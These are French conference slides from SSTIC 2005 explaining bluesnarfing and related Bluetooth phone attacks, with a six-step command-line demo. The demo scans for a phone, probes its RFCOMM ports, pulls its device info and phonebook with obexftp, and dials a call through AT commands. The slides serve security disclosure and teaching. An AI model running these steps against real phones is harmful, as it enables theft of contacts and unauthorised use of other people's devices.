EADS CCR

SSTIC'05

Bluesnarfing

Nicolas RUFF
nicolas.ruff (at) eads.net

Définitions

- BlueSnarfing = vol du carnet d'adresses via BlueTooth
- BlueBugging = émission de commandes sur la cible
- BlueJacking = insertion d'une carte de visite sans le consentement de la cible

- Toutes ces attaques passent par une connexion BlueTooth
  - Ce n'est pas le protocole BlueTooth qui est en cause
  - Mais son implémentation par les constructeurs !
    - Présence d'un ou plusieurs "ports" accessibles sans authentification et sans confirmation de l'utilisateur

- Pas de panique : ces attaques nécessitent que le BlueTooth soit allumé et que le téléphone soit en mode "découvrable"
  - Mais il n'est pas nécessaire d'être apparié avec la cible
  - De plus le record de liaison Bluetooth a été établi à 2km … (avec une bonne antenne)

Démo (1/6)

```
# hciconfig hci0 up
# hciconfig
hci0:    Type: USB
    BD Address: 00:0A:9A:xx:xx:xx ACL MTU: 339:4  SCO MTU: 64:0
    UP RUNNING PSCAN ISCAN
    RX bytes:63 acl:0 sco:0 events:7 errors:0
    TX bytes:27 acl:0 sco:0 commands:7 errors:0

# hcitool scan
Scanning ...
    00:0A:D9:xx:xx:xx    T610
```

➔ *Un téléphone a été détecté*

Démo (2/6)

```
# ./rfcomm_scan 00:0A:D9:xx:xx:xx
rfcomm: 01 closed
rfcomm: 02 open
rfcomm: 03 closed
rfcomm: 04 closed
rfcomm: 05 closed
rfcomm: 06 closed
rfcomm: 07 closed
rfcomm: 08 open
rfcomm: 09 open
rfcomm: 10 open
rfcomm: 11 closed
[...]
```

➔ *De nombreux ports sont ouverts (c'est normal, le T610 est notoirement bogué)*

Démo (3/6)

```
# obexftp -b 00:0A:D9:xx:xx:xx -B 10 -g
   telecom/devinfo.txt
Browsing 00:0A:D9:xx:xx:xx ...
Channel: 7
No custom transport
Connecting...bt: 1
done
Receiving telecom/devinfo.txt... done
Disconnecting...done
```

➔ *En utilisant le port 10, il est possible d'accéder à l'objet standard "telecom/devinfo.txt"*

Démo (4/6)

```
# cat devinfo.txt
MANU:Sony Ericsson
MOD:T610 series
SW-VERSION:prgCXC125566_EU_2
SW-DATE:20R1A081TTTTT00
HW-VERSION:proto
SN:351253xxxxxxxxx
PB-TYPE-TX:VCARD2.1
PB-TYPE-RX:VCARD2.1
CAL-TYPE-TX:VCAL1.0
CAL-TYPE-RX:VCAL1.0
MSG-TYPE-TX:NONE
MSG-TYPE-RX:NONE
NOTE-TYPE-TX:VNOTE1.1
NOTE-TYPE-RX:VNOTE1.1
X-ERI-MELODY-TYPE-TX:EMELODY1.0
X-ERI-MELODY-TYPE-RX:EMELODY1.0
IRMC-VERSION:1.1
INBOX:MULTIPLE
MSG-SENT-BOX:NO
```

➔ *Intéressant, mais moins que la suite …*

Démo (5/6)

```
# obexftp -b 00:0A:D9:xx:xx:xx -B 10 -g telecom/pb.vcf
Browsing 00:0A:D9:xx:xx:xx ...
Channel: 7
No custom transport
Connecting...bt: 1
done
Receiving telecom/pb.vcf...done
Disconnecting...done
```

➔ *L'objet standard "telecom/pb.vcf" est le carnet d'adresses de la cible*

Démo (6/6)

➔ *Certains téléphones (tels que le Nokia 6310) autorisent même l'émission / réception d'appels !*

```
# rfcomm bind /dev/rfcomm0 00:0A:D9:xx:xx:xx 10
# cu -l /dev/rfcomm0
Connected.
ATD+0612345678
OK
Disconnected.
```

Questions / réponses

- **Bluetooth device security database**
  - **http://www.betaversion.net/btdsd/**
- **Le groupe Trifinite**
  - **http://www.trifinite.org/**
- **Sony Ericsson AT Commands Online Reference**
  - **http://developer.sonyericsson.com/getDocument.do?docId=65054**
- **AT Command Set For Nokia GSM And WCDMA Products v1.1**
  - **http://ncsp.forum.nokia.com/download/?asset_id=11579;ref=devx**